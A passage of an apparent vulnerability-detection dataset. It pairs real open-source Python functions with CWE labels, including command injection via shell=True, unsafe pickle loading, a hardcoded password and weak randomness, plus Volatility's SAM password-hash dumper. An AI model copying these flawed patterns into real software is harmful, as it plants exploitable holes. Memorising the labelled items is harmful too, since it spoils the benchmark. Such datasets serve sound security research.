        DAG run is updated to a completed status (either success or failure).
        It finds the first started task within the DAG, calculates the run's
        expected start time based on the logical date and timetable, and gets
        the delay from the difference of these two values.

        The emitted data may contain outliers (e.g. when the first task was
        cleared, so the second task's start date will be used), but we can get
        rid of the outliers on the stats side through dashboards tooling.

        Note that the stat will only be emitted for scheduler-triggered DAG runs
        (i.e. when ``external_trigger`` is *False* and ``clear_number`` is
        greater than 0).
        """"""
        if self.state == TaskInstanceState.RUNNING:
            return
        if self.external_trigger:
            return
        if self.clear_number > 0:
            return
        if not finished_tis:
            return

        try:
            dag = self.get_dag()

            if not dag.timetable.periodic:
                # We can't emit this metric if there is no following schedule to calculate from!
                return

            try:
                first_start_date = min(ti.start_date for ti in finished_tis if ti.start_date)
            except ValueError:  # No start dates at all.
                pass
            else:
                # TODO: Logically, this should be DagRunInfo.run_after, but the
                # information is not stored on a DagRun, only before the actual
                # execution on DagModel.next_dagrun_create_after. We should add
                # a field on DagRun for this instead of relying on the run
                # always happening immediately after the data interval.
                data_interval_end = dag.get_run_data_interval(self).end
                true_delay = first_start_date - data_interval_end
                if true_delay.total_seconds() > 0:
                    Stats.timing(
                        f""dagrun.{dag.dag_id}.first_task_scheduling_delay"", true_delay, tags=self.stats_tags
                    )
                    Stats.timing(""dagrun.first_task_scheduling_delay"", true_delay, tags=self.stats_tags)
        except Exception:
            self.log.warning(""Failed to record first_task_scheduling_delay metric:"", exc_info=True)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/win32/hashdump.py,0,"def dump_hashes(sysaddr, samaddr):
    bootkey = get_bootkey(sysaddr)
    hbootkey = get_hbootkey(samaddr, bootkey)

    if hbootkey:
        for user in get_user_keys(samaddr):
            ret = get_user_hashes(user, hbootkey)
            if not ret:
                yield obj.NoneObject(""Cannot get user hashes for {0}"".format(user))
            else:
                lmhash, nthash = ret
                if not lmhash:
                    lmhash = empty_lm
                if not nthash:
                    nthash = empty_nt
                yield ""{0}:{1}:{2}:{3}:::"".format(get_user_name(user), int(str(user.Name), 16),
                                                  lmhash.encode('hex'), nthash.encode('hex'))
    else:
        yield obj.NoneObject(""Hbootkey is not valid"")",,volatilityfoundation/volatility,2cc4cdf7b78488e998f8850e029c29303441051e,"def dump_hashes(sysaddr, samaddr):
    bootkey = get_bootkey(sysaddr)
    hbootkey = get_hbootkey(samaddr, bootkey)

    if hbootkey:
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user, hbootkey)
            if not lmhash:
                lmhash = empty_lm
            if not nthash:
                nthash = empty_nt
            yield ""{0}:{1}:{2}:{3}:::"".format(get_user_name(user), int(str(user.Name), 16),
                                              lmhash.encode('hex'), nthash.encode('hex'))
    else:
        yield obj.NoneObject(""Hbootkey is not valid"")"
,UNKNOWN,UNKNOWN,salt/modules/virt.py,1,"def is_kvm_hyper():
    '''
    Returns a bool whether or not this node is a hypervisor
    '''
    if __facter__['virtual'] != 'physical':
        return False
    if not subprocess.call('lsmod | grep kvm_', shell=True):
        return False
    if not subprocess.call('ps aux | grep libvirtd | grep -v grep', shell=True):
        return False
    return True",CWE-78,saltstack/salt,059abdb625bbb6ff2ac34459ffc319bafc7d5273,"def is_kvm_hyper():
    '''
    Returns a bool whether or not this node is a hypervisor
    '''
    if __facter__['virtual'] != 'physical':
        return False
    if subprocess.call('lsmod | grep kvm_', shell=True):
        return False
    if subprocess.call('ps aux | grep libvirtd | grep -v grep', shell=True):
        return False
    return True"
,UNKNOWN,UNKNOWN,salt/modules/boto_lambda.py,1,"def create_function(
    FunctionName,
    Runtime,
    Role,
    Handler,
    ZipFile=None,
    S3Bucket=None,
    S3Key=None,
    S3ObjectVersion=None,
    Description="""",
    Timeout=3,
    MemorySize=128,
    Publish=False,
    WaitForRole=False,
    RoleRetries=5,
    region=None,
    key=None,
    keyid=None,
    profile=None,
    VpcConfig=None,
    Environment=None,
):
    """"""
    .. versionadded:: 2017.7.0

    Given a valid config, create a function.

    Environment
        The parent object that contains your environment's configuration
        settings. This is a dictionary of the form:

        .. code-block:: python

            {
                'Variables': {
                    'VariableName': 'VariableValue'
                }
            }

    Returns ``{'created': True}`` if the function was created and ``{created:
    False}`` if the function was not created.

    CLI Example:

    .. code-block:: bash

        salt myminion boto_lamba.create_function my_function python2.7 my_role my_file.my_function my_function.zip
        salt myminion boto_lamba.create_function my_function python2.7 my_role my_file.my_function salt://files/my_function.zip

    """"""

    role_arn = _get_role_arn(Role, region=region, key=key, keyid=keyid, profile=profile)
    try:
        conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)
        if ZipFile:
            if S3Bucket or S3Key or S3ObjectVersion:
                raise SaltInvocationError(
                    ""Either ZipFile must be specified, or ""
                    ""S3Bucket and S3Key must be provided.""
                )
            if ""://"" in ZipFile:  # Looks like a remote URL to me...
                dlZipFile = __salt__[""cp.cache_file""](path=ZipFile)
                if dlZipFile is False:
                    ret[""result""] = False
                    ret[""comment""] = ""Failed to cache ZipFile `{}`."".format(ZipFile)
                    return ret
                ZipFile = dlZipFile
            code = {
                ""ZipFile"": _filedata(ZipFile),
            }
        else:
            if not S3Bucket or not S3Key:
                raise SaltInvocationError(
                    ""Either ZipFile must be specified, or ""
                    ""S3Bucket and S3Key must be provided.""
                )
            code = {
                ""S3Bucket"": S3Bucket,
                ""S3Key"": S3Key,
            }
            if S3ObjectVersion:
                code[""S3ObjectVersion""] = S3ObjectVersion
        kwargs = {}
        if VpcConfig is not None:
            kwargs[""VpcConfig""] = _resolve_vpcconfig(
                VpcConfig, region=region, key=key, keyid=keyid, profile=profile
            )
        if Environment is not None:
            kwargs[""Environment""] = Environment
        if WaitForRole:
            retrycount = RoleRetries
        else:
            retrycount = 1
        for retry in range(retrycount, 0, -1):
            try:
                func = conn.create_function(
                    FunctionName=FunctionName,
                    Runtime=Runtime,
                    Role=role_arn,
                    Handler=Handler,
                    Code=code,
                    Description=Description,
                    Timeout=Timeout,
                    MemorySize=MemorySize,
                    Publish=Publish,
                    **kwargs
                )
            except ClientError as e:
                if (
                    retry > 1
                    and e.response.get(""Error"", {}).get(""Code"")
                    == ""InvalidParameterValueException""
                ):
                    log.info(
                        ""Function not created but IAM role may not have propagated,""
                        "" will retry""
                    )
                    # exponential backoff
                    time.sleep(
                        (2 ** (RoleRetries - retry)) + (random.randint(0, 1000) / 1000)
                    )
                    continue
                else:
                    raise
            else:
                break
        if func:
            log.info(""The newly created function name is %s"", func[""FunctionName""])

            return {""created"": True, ""name"": func[""FunctionName""]}
        else:
            log.warning(""Function was not created"")
            return {""created"": False}
    except ClientError as e:
        return {""created"": False, ""error"": __utils__[""boto3.get_error""](e)}",CWE-330,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def create_function(
    FunctionName,
    Runtime,
    Role,
    Handler,
    ZipFile=None,
    S3Bucket=None,
    S3Key=None,
    S3ObjectVersion=None,
    Description="""",
    Timeout=3,
    MemorySize=128,
    Publish=False,
    WaitForRole=False,
    RoleRetries=5,
    region=None,
    key=None,
    keyid=None,
    profile=None,
    VpcConfig=None,
    Environment=None,
):
    """"""
    .. versionadded:: 2017.7.0

    Given a valid config, create a function.

    Environment
        The parent object that contains your environment's configuration
        settings. This is a dictionary of the form:

        .. code-block:: python

            {
                'Variables': {
                    'VariableName': 'VariableValue'
                }
            }

    Returns ``{'created': True}`` if the function was created and ``{created:
    False}`` if the function was not created.

    CLI Example:

    .. code-block:: bash

        salt myminion boto_lamba.create_function my_function python2.7 my_role my_file.my_function my_function.zip
        salt myminion boto_lamba.create_function my_function python2.7 my_role my_file.my_function salt://files/my_function.zip

    """"""

    role_arn = _get_role_arn(Role, region=region, key=key, keyid=keyid, profile=profile)
    try:
        conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)
        if ZipFile:
            if S3Bucket or S3Key or S3ObjectVersion:
                raise SaltInvocationError(
                    ""Either ZipFile must be specified, or ""
                    ""S3Bucket and S3Key must be provided.""
                )
            if ""://"" in ZipFile:  # Looks like a remote URL to me...
                dlZipFile = __salt__[""cp.cache_file""](path=ZipFile)
                if dlZipFile is False:
                    ret[""result""] = False
                    ret[""comment""] = ""Failed to cache ZipFile `{}`."".format(ZipFile)
                    return ret
                ZipFile = dlZipFile
            code = {
                ""ZipFile"": _filedata(ZipFile),
            }
        else:
            if not S3Bucket or not S3Key:
                raise SaltInvocationError(
                    ""Either ZipFile must be specified, or ""
                    ""S3Bucket and S3Key must be provided.""
                )
            code = {
                ""S3Bucket"": S3Bucket,
                ""S3Key"": S3Key,
            }
            if S3ObjectVersion:
                code[""S3ObjectVersion""] = S3ObjectVersion
        kwargs = {}
        if VpcConfig is not None:
            kwargs[""VpcConfig""] = _resolve_vpcconfig(
                VpcConfig, region=region, key=key, keyid=keyid, profile=profile
            )
        if Environment is not None:
            kwargs[""Environment""] = Environment
        if WaitForRole:
            retrycount = RoleRetries
        else:
            retrycount = 1
        for retry in range(retrycount, 0, -1):
            try:
                func = conn.create_function(
                    FunctionName=FunctionName,
                    Runtime=Runtime,
                    Role=role_arn,
                    Handler=Handler,
                    Code=code,
                    Description=Description,
                    Timeout=Timeout,
                    MemorySize=MemorySize,
                    Publish=Publish,
                    **kwargs
                )
            except ClientError as e:
                if (
                    retry > 1
                    and e.response.get(""Error"", {}).get(""Code"")
                    == ""InvalidParameterValueException""
                ):
                    log.info(
                        ""Function not created but IAM role may not have propagated, will retry""
                    )
                    # exponential backoff
                    time.sleep(
                        (2 ** (RoleRetries - retry)) + (random.randint(0, 1000) / 1000)
                    )
                    continue
                else:
                    raise
            else:
                break
        if func:
            log.info(""The newly created function name is %s"", func[""FunctionName""])

            return {""created"": True, ""name"": func[""FunctionName""]}
        else:
            log.warning(""Function was not created"")
            return {""created"": False}
    except ClientError as e:
        return {""created"": False, ""error"": __utils__[""boto3.get_error""](e)}"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_portage_config.py,1,"def test_enforce_nice_config(tmp_path):
    atoms = [
        (""*/*::repo"", ""repo""),
        (""*/pkg1::repo"", ""pkg1""),
        (""cat/*"", ""cat_""),
        (""cat/pkg2"", ""cat/pkg2""),
        (""cat/pkg3::repo"", ""cat/pkg3""),
        (""<cat/pkg4-0.0.0.0"", ""cat/pkg4""),
        ("">cat/pkg5-0.0.0.0:0"", ""cat/pkg5""),
        ("">cat/pkg6-0.0.0.0:0::repo"", ""cat/pkg6""),
        (""<=cat/pkg7-0.0.0.0"", ""cat/pkg7""),
        (""=cat/pkg8-0.0.0.0"", ""cat/pkg8""),
    ]

    supported = [
        (""accept_keywords"", [""~amd64""]),
        (""env"", [""glibc.conf""]),
        (""license"", [""LICENCE1"", ""LICENCE2""]),
        (""mask"", [""""]),
        (""properties"", [""* -interactive""]),
        (""unmask"", [""""]),
        (""use"", [""apple"", ""-banana"", ""ananas"", ""orange""]),
    ]

    base_path = str(tmp_path / ""/package.{0}"")

    def make_line(atom, addition):
        return atom + ("" "" + addition if addition != """" else """") + ""\n""

    for typ, additions in supported:
        path = base_path.format(typ)
        with salt.utils.files.fopen(path, ""a"") as fh:
            for atom, _ in atoms:
                for addition in additions:
                    line = make_line(atom, addition)
                    fh.write(""# comment for: "" + line)
                    fh.write(line)

    with patch.object(portage_config, ""BASE_PATH"", base_path):
        with patch.object(
            portage_config, ""_merge_flags"", lambda l1, l2, _: list(set(l1 + l2))
        ):
            portage_config.enforce_nice_config()

    for typ, additions in supported:
        for atom, file_name in atoms:
            with salt.utils.files.fopen(
                base_path.format(typ) + ""/"" + file_name, ""r""
            ) as fh:
                for line in fh:
                    for atom in line:
                        assert atom not in line
                    for addition in additions:
                        assert addition not in line","CWE-605, CWE-703",saltstack/salt,b541fc7f65279bfc4ad12b8f25241bbc5e8a772b,"def test_enforce_nice_config(tmp_path):
    atoms = [
        (""*/*::repo"", ""repo""),
        (""*/pkg1::repo"", ""pkg1""),
        (""cat/*"", ""cat_""),
        (""cat/pkg2"", ""cat/pkg2""),
        (""cat/pkg3::repo"", ""cat/pkg3""),
        (""<cat/pkg4-0.0.0.0"", ""cat/pkg4""),
        ("">cat/pkg5-0.0.0.0:0"", ""cat/pkg5""),
        ("">cat/pkg6-0.0.0.0:0::repo"", ""cat/pkg6""),
        (""<=cat/pkg7-0.0.0.0"", ""cat/pkg7""),
        (""=cat/pkg8-0.0.0.0"", ""cat/pkg8""),
    ]

    supported = [
        (""accept_keywords"", [""~amd64""]),
        (""env"", [""glibc.conf""]),
        (""license"", [""LICENCE1"", ""LICENCE2""]),
        (""mask"", [""""]),
        (""properties"", [""* -interactive""]),
        (""unmask"", [""""]),
        (""use"", [""apple"", ""-banana"", ""ananas"", ""orange""]),
    ]

    base_path = tmp_path / ""/package.{0}""

    def make_line(atom, addition):
        return atom + ("" "" + addition if addition != """" else """") + ""\n""

    for typ, additions in supported:
        path = base_path / typ
        with salt.utils.files.fopen(path, ""a"") as fh:
            for atom, _ in atoms:
                for addition in additions:
                    line = make_line(atom, addition)
                    fh.write(""# comment for: "" + line)
                    fh.write(line)

    with patch.object(portage_config, ""BASE_PATH"", base_path):
        with patch.object(
            portage_config, ""_merge_flags"", lambda l1, l2, _: list(set(l1 + l2))
        ):
            portage_config.enforce_nice_config()

    for typ, additions in supported:
        for atom, file_name in atoms:
            with salt.utils.files.fopen(
                base_path / typ / ""/"" / file_name, ""r""
            ) as fh:
                for line in fh:
                    for atom in line:
                        assert atom not in line
                    for addition in additions:
                        assert addition not in line"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/kona.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code in (400, 403, 501) and all(_ in (page or """") for _ in (""Access Denied"", ""You don't have permission to access"", ""on this server"", ""Reference""))
        retval |= re.search(r""AkamaiGHost"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,62a361835353f2478d8ef04e7db244c204153b89,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code in (400, 403, 501) and re.search(r""Reference #[0-9a-f.]+"", page or """", re.I) is not None
        retval |= re.search(r""AkamaiGHost"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,tests/core/test_otel_logger.py,1,"def test_timer_no_name_returns_float_but_does_not_store_value(self, mock_time, name):
        with self.stats.timer() as timer:
            pass

        assert isinstance(timer.duration, float)
        assert timer.duration == 3.14
        assert mock_time.call_count == 2
        self.meter.get_meter().create_observable_gauge.assert_not_called()",CWE-703,apache/airflow,f3b238ae7f9101c32a52c491af74112bcdcb25b8,"def test_timer_no_name_returns_float_but_does_not_store_value(self, mock_time, name):
        with self.stats.timer() as timer:
            pass

        assert isinstance(timer.duration, float)
        assert timer.duration == 3.14
        assert mock_time.call_count == 2
        self.meter.get_meter().create_observable_gauge.assert_not_called()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/serializers/base.py,0,"def build_instance(Model, data, db):
    """"""
    Build a model instance.

    If the model instance doesn't have a primary key and the model supports
    natural keys, try to retrieve it from the database.
    """"""
    default_manager = Model._meta.default_manager
    pk = data.get(Model._meta.pk.name)
    if (pk is None and hasattr(default_manager, 'get_by_natural_key') and
            hasattr(Model, 'natural_key')):
        natural_key = Model(**data).natural_key()
        try:
            data[Model._meta.pk.attname] = Model._meta.pk.to_python(
                default_manager.db_manager(db).get_by_natural_key(*natural_key).pk
            )
        except Model.DoesNotExist:
            pass
    return Model(**data)",CWE-Unknown,django/django,dcd1025f4c03faa4a9915a1d47d07008280dd3cf,"def build_instance(Model, data, db):
    """"""
    Build a model instance.

    If the model instance doesn't have a primary key and the model supports
    natural keys, try to retrieve it from the database.
    """"""
    obj = Model(**data)
    if (obj.pk is None and hasattr(Model, 'natural_key') and
            hasattr(Model._default_manager, 'get_by_natural_key')):
        natural_key = obj.natural_key()
        try:
            obj.pk = Model._default_manager.db_manager(db).get_by_natural_key(*natural_key).pk
        except Model.DoesNotExist:
            pass
    return obj"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/auth_handler.py,0,"def _finalize_pubkey_algorithm(self, key_type):
        # Short-circuit for non-RSA keys
        if ""rsa"" not in key_type:
            return key_type
        self._log(
            DEBUG,
            ""Finalizing pubkey algorithm for key of type {!r}"".format(
                key_type
            ),
        )
        # Only consider RSA algos from our list, lest we agree on another!
        my_algos = [x for x in self.transport.preferred_pubkeys if ""rsa"" in x]
        self._log(DEBUG, ""Our pubkey algorithm list: {}"".format(my_algos))
        # Short-circuit negatively if user disabled all RSA algos (heh)
        if not my_algos:
            raise SSHException(
                ""An RSA key was specified, but no RSA pubkey algorithms are configured!""  # noqa
            )
        # Check for server-sig-algs if supported & sent
        server_algo_str = u(
            self.transport.server_extensions.get(""server-sig-algs"", b(""""))
        )
        pubkey_algo = None
        if server_algo_str:
            server_algos = server_algo_str.split("","")
            self._log(
                DEBUG, ""Server-side algorithm list: {}"".format(server_algos)
            )
            # Only use algos from our list that the server likes, in our own
            # preference order. (NOTE: purposefully using same style as in
            # Transport...expect to refactor later)
            agreement = list(filter(server_algos.__contains__, my_algos))
            if agreement:
                pubkey_algo = agreement[0]
                self._log(
                    DEBUG,
                    ""Agreed upon {!r} pubkey algorithm"".format(pubkey_algo),
                )
            else:
                self._log(DEBUG, ""No common pubkey algorithms exist! Dying."")
                # TODO: MAY want to use IncompatiblePeer again here but that's
                # technically for initial key exchange, not pubkey auth.
                err = ""Unable to agree on a pubkey algorithm for signing a {!r} key!""  # noqa
                raise AuthenticationException(err.format(key_type))
        else:
            # Fallback: first one in our (possibly tweaked by caller) list
            pubkey_algo = my_algos[0]
            msg = ""Server did not send a server-sig-algs list; defaulting to our first preferred algo ({!r})""  # noqa
            self._log(DEBUG, msg.format(pubkey_algo))
            self._log(
                DEBUG,
                ""NOTE: you may use the 'disabled_algorithms' SSHClient/Transport init kwarg to disable that or other algorithms if your server does not support them!"",  # noqa
            )
        self.transport._agreed_pubkey_algorithm = pubkey_algo
        return pubkey_algo",,paramiko/paramiko,6699d35ad2d13fb74280a193e2e284a4a45f6f68,"def _finalize_pubkey_algorithm(self, key_type):
        # Short-circuit for non-RSA keys
        if ""rsa"" not in key_type:
            return key_type
        self._log(
            DEBUG,
            ""Finalizing pubkey algorithm for key of type {!r}"".format(
                key_type
            ),
        )
        # Only consider RSA algos from our list, lest we agree on another!
        my_algos = [x for x in self.transport.preferred_pubkeys if ""rsa"" in x]
        self._log(DEBUG, ""Our pubkey algorithm list: {}"".format(my_algos))
        # Short-circuit negatively if user disabled all RSA algos (heh)
        if not my_algos:
            raise SSHException(
                ""An RSA key was specified, but no RSA pubkey algorithms are configured!""  # noqa
            )
        # Check for server-sig-algs if supported & sent
        server_algos = u(
            self.transport.server_extensions.get(""server-sig-algs"", b(""""))
        ).split("","")
        self._log(DEBUG, ""Server-side algorithm list: {}"".format(server_algos))
        # Only use algos from our list that the server likes, in our own
        # preference order. (NOTE: purposefully using same style as in
        # Transport...expect to refactor later)
        agreement = list(filter(server_algos.__contains__, my_algos))
        # Fallback: first one in our (possibly tweaked by caller) list
        final = agreement[0] if agreement else my_algos[0]
        self.transport._agreed_pubkey_algorithm = final
        self._log(DEBUG, ""Agreed upon {!r} pubkey algorithm"".format(final))
        return final"
,UNKNOWN,UNKNOWN,django/utils/crypto.py,1,"def get_random_string(length=12,
                      allowed_chars='abcdefghijklmnopqrstuvwxyz'
                                    'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'):
    """"""
    Returns a securely generated random string.

    The default length of 12 with the a-z, A-Z, 0-9 character set returns
    a 71-bit value. log_2((26+26+10)^12) =~ 71 bits
    """"""
    if not using_sysrandom:
        # This is ugly, and a hack, but it makes things better than
        # the alternative of predictability. This re-seeds the PRNG
        # using a value that is hard for an attacker to predict, every
        # time a random string is required. This may change the
        # properties of the chosen random sequence slightly, but this
        # is better than absolute predictability.
        random.seed(
            hashlib.sha256(
                (""%s%s%s"" % (
                    random.getstate(),
                    time.time(),
                    settings.SECRET_KEY)).encode('utf-8')
            ).digest())
    return ''.join(random.choice(allowed_chars) for i in range(length))",CWE-330,django/django,a800036981c6fea8eb3dac22467965c71af05d29,"def get_random_string(length=12,
                      allowed_chars='abcdefghijklmnopqrstuvwxyz'
                                    'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'):
    """"""
    Returns a securely generated random string.

    The default length of 12 with the a-z, A-Z, 0-9 character set returns
    a 71-bit value. log_2((26+26+10)^12) =~ 71 bits
    """"""
    if not using_sysrandom:
        # This is ugly, and a hack, but it makes things better than
        # the alternative of predictability. This re-seeds the PRNG
        # using a value that is hard for an attacker to predict, every
        # time a random string is required. This may change the
        # properties of the chosen random sequence slightly, but this
        # is better than absolute predictability.
        random.seed(
            hashlib.sha256(
                (""%s%s%s"" % (
                    random.getstate(),
                    time.time(),
                    settings.SECRET_KEY)).encode('utf-8')
                ).digest())
    return ''.join(random.choice(allowed_chars) for i in range(length))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/utils/template.py,0,"def varReplace(basedir, raw, vars, lookup_fatal=True, depth=0, expand_lists=False):
    ''' Perform variable replacement of $variables in string raw using vars dictionary '''
    # this code originally from yum

    if not isinstance(raw, unicode):
        raw = raw.decode(""utf-8"")

    if (depth > 20):
        raise errors.AnsibleError(""template recursion depth exceeded"")

    done = [] # Completed chunks to return

    while raw:
        m = _varFind(basedir, raw, vars, lookup_fatal, depth, expand_lists)
        if not m:
            done.append(raw)
            break

        # Determine replacement value (if unknown variable then preserve
        # original)

        replacement = m['replacement']
        if expand_lists and isinstance(replacement, (list, tuple)):
            replacement = "","".join([str(x) for x in replacement])
        if isinstance(replacement, (str, unicode)):
            replacement = varReplace(basedir, replacement, vars, lookup_fatal, depth=depth+1, expand_lists=expand_lists)
        if replacement is None:
            replacement = raw[m['start']:m['end']]

        start, end = m['start'], m['end']
        done.append(raw[:start])          # Keep stuff leading up to token
        done.append(unicode(replacement)) # Append replacement value
        raw = raw[end:]                   # Continue with remainder of string

    return ''.join(done)",,ansible/ansible,57d193556c215a49c85a5408826768110035b0b0,"def varReplace(basedir, raw, vars, lookup_fatal=True, depth=0, expand_lists=False):
    ''' Perform variable replacement of $variables in string raw using vars dictionary '''
    # this code originally from yum

    if not isinstance(raw, unicode):
        raw = raw.decode(""utf-8"")

    if (depth > 20):
        raise errors.AnsibleError(""template recursion depth exceeded"")

    done = [] # Completed chunks to return

    while raw:
        m = _varFind(basedir, raw, vars, lookup_fatal, depth, expand_lists)
        if not m:
            done.append(raw)
            break

        # Determine replacement value (if unknown variable then preserve
        # original)

        replacement = m['replacement']
        if expand_lists and isinstance(replacement, (list, tuple)):
            replacement = "","".join(replacement)
        if isinstance(replacement, (str, unicode)):
            replacement = varReplace(basedir, replacement, vars, lookup_fatal, depth=depth+1, expand_lists=expand_lists)
        if replacement is None:
            replacement = raw[m['start']:m['end']]

        start, end = m['start'], m['end']
        done.append(raw[:start])          # Keep stuff leading up to token
        done.append(unicode(replacement)) # Append replacement value
        raw = raw[end:]                   # Continue with remainder of string

    return ''.join(done)"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_inlines/tests.py,1,"def setUp(self):
        self.user = User(username='admin')
        self.user.is_staff = True
        self.user.is_active = True
        self.user.set_password('secret')
        self.user.save()

        self.author_ct = ContentType.objects.get_for_model(Author)
        self.holder_ct = ContentType.objects.get_for_model(Holder2)
        self.book_ct = ContentType.objects.get_for_model(Book)
        self.inner_ct = ContentType.objects.get_for_model(Inner2)

        # User always has permissions to add and change Authors, and Holders,
        # the main (parent) models of the inlines. Permissions on the inlines
        # vary per test.
        permission = Permission.objects.get(codename='add_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='add_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)

        author = Author.objects.create(pk=1, name=u'The Author')
        book = author.books.create(name=u'The inline Book')
        self.author_change_url = '/admin/admin_inlines/author/%i/' % author.id
        self.book_id = book.id

        holder = Holder2.objects.create(dummy=13)
        inner2 = Inner2.objects.create(dummy=42, holder=holder)
        self.holder_change_url = '/admin/admin_inlines/holder2/%i/' % holder.id
        self.inner2_id = inner2.id

        self.assertEqual(
            self.client.login(username='admin', password='secret'),
            True)",CWE-259,django/django,8b801a7553f28c028fd8f602e9c5e86580600d8e,"def setUp(self):
        self.user = User(username='admin')
        self.user.is_staff = True
        self.user.is_active = True
        self.user.set_password('secret')
        self.user.save()

        self.author_ct = ContentType.objects.get_for_model(Author)
        self.holder_ct = ContentType.objects.get_for_model(Holder2)
        self.book_ct = ContentType.objects.get_for_model(Book)
        self.inner_ct = ContentType.objects.get_for_model(Inner2)

        # User always has permissions to add and change Authors, and Holders,
        # the main (parent) models of the inlines. Permissions on the inlines
        # vary per test.
        permission = Permission.objects.get(codename='add_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_author', content_type=self.author_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='add_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_holder2', content_type=self.holder_ct)
        self.user.user_permissions.add(permission)

        author = Author.objects.create(pk=1, name=u'The Author')
        author.books.create(name=u'The inline Book')
        self.author_change_url = '/admin/admin_inlines/author/%i/' % author.id

        holder = Holder2.objects.create(dummy=13)
        Inner2.objects.create(dummy=42, holder=holder)
        self.holder_change_url = '/admin/admin_inlines/holder2/%i/' % holder.id

        self.assertEqual(
            self.client.login(username='admin', password='secret'),
            True)"
,UNKNOWN,UNKNOWN,salt/pillar/s3.py,1,"def _read_buckets_cache_file(cache_file):
    '''
    Return the contents of the buckets cache file
    '''

    log.debug('Reading buckets cache file')

    with salt.utils.fopen(cache_file, 'rb') as fp_:
        data = pickle.load(fp_)

    return data",CWE-502,saltstack/salt,38c6962c3a38a94d14e7ec6d5ce428675e9a14ec,"def _read_buckets_cache_file(cache_file):
    '''
    Return the contents of the buckets cache file
    '''

    log.debug('Reading buckets cache file')

    with salt.utils.fopen(cache_file, 'rb') as fp_:
        data = pickle.load(fp_)

    return data"
,UNKNOWN,UNKNOWN,tests/charts/airflow_core/test_triggerer.py,1,"def test_should_create_valid_affinity_tolerations_and_node_selector(self):
        docs = render_chart(
            values={
                ""triggerer"": {
                    ""affinity"": {
                        ""nodeAffinity"": {
                            ""requiredDuringSchedulingIgnoredDuringExecution"": {
                                ""nodeSelectorTerms"": [
                                    {
                                        ""matchExpressions"": [
                                            {""key"": ""foo"", ""operator"": ""In"", ""values"": [""true""]},
                                        ]
                                    }
                                ]
                            }
                        }
                    },
                    ""tolerations"": [
                        {""key"": ""dynamic-pods"", ""operator"": ""Equal"", ""value"": ""true"", ""effect"": ""NoSchedule""}
                    ],
                    ""nodeSelector"": {""diskType"": ""ssd""},
                },
            },
            show_only=[""templates/triggerer/triggerer-deployment.yaml""],
        )

        assert ""StatefulSet"" == jmespath.search(""kind"", docs[0])
        assert ""foo"" == jmespath.search(
            ""spec.template.spec.affinity.nodeAffinity.""
            ""requiredDuringSchedulingIgnoredDuringExecution.""
            ""nodeSelectorTerms[0].""
            ""matchExpressions[0].""
            ""key"",
            docs[0],
        )
        assert ""ssd"" == jmespath.search(
            ""spec.template.spec.nodeSelector.diskType"",
            docs[0],
        )
        assert ""dynamic-pods"" == jmespath.search(
            ""spec.template.spec.tolerations[0].key"",
            docs[0],
        )",CWE-703,apache/airflow,ffb3b5c5155055dae0745f2505ac3d959f1af0e6,"def test_should_create_valid_affinity_tolerations_and_node_selector(self):
        docs = render_chart(
            values={
                ""triggerer"": {
                    ""affinity"": {
                        ""nodeAffinity"": {
                            ""requiredDuringSchedulingIgnoredDuringExecution"": {
                                ""nodeSelectorTerms"": [
                                    {
                                        ""matchExpressions"": [
                                            {""key"": ""foo"", ""operator"": ""In"", ""values"": [""true""]},
                                        ]
                                    }
                                ]
                            }
                        }
                    },
                    ""tolerations"": [
                        {""key"": ""dynamic-pods"", ""operator"": ""Equal"", ""value"": ""true"", ""effect"": ""NoSchedule""}
                    ],
                    ""nodeSelector"": {""diskType"": ""ssd""},
                },
            },
            show_only=[""templates/triggerer/triggerer-deployment.yaml""],
        )

        assert ""Deployment"" == jmespath.search(""kind"", docs[0])
        assert ""foo"" == jmespath.search(
            ""spec.template.spec.affinity.nodeAffinity.""
            ""requiredDuringSchedulingIgnoredDuringExecution.""
            ""nodeSelectorTerms[0].""
            ""matchExpressions[0].""
            ""key"",
            docs[0],
        )
        assert ""ssd"" == jmespath.search(
            ""spec.template.spec.nodeSelector.diskType"",
            docs[0],
        )
        assert ""dynamic-pods"" == jmespath.search(
            ""spec.template.spec.tolerations[0].key"",
            docs[0],
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/db/models/fields/__init__.py,0,"def get_srid_info(srid):
    """"""
    Returns the units, unit name, and spheroid WKT associated with the
    given SRID from the `spatial_ref_sys` (or equivalent) spatial database
    table.  These results are cached.
    """"""
    global _srid_cache

    if SpatialBackend.mysql:
        return None, None, None

    if not srid in _srid_cache:
        from django.contrib.gis.models import SpatialRefSys
        sr = SpatialRefSys.objects.get(srid=srid)
        units, units_name = sr.units
        spheroid = SpatialRefSys.get_spheroid(sr.wkt)
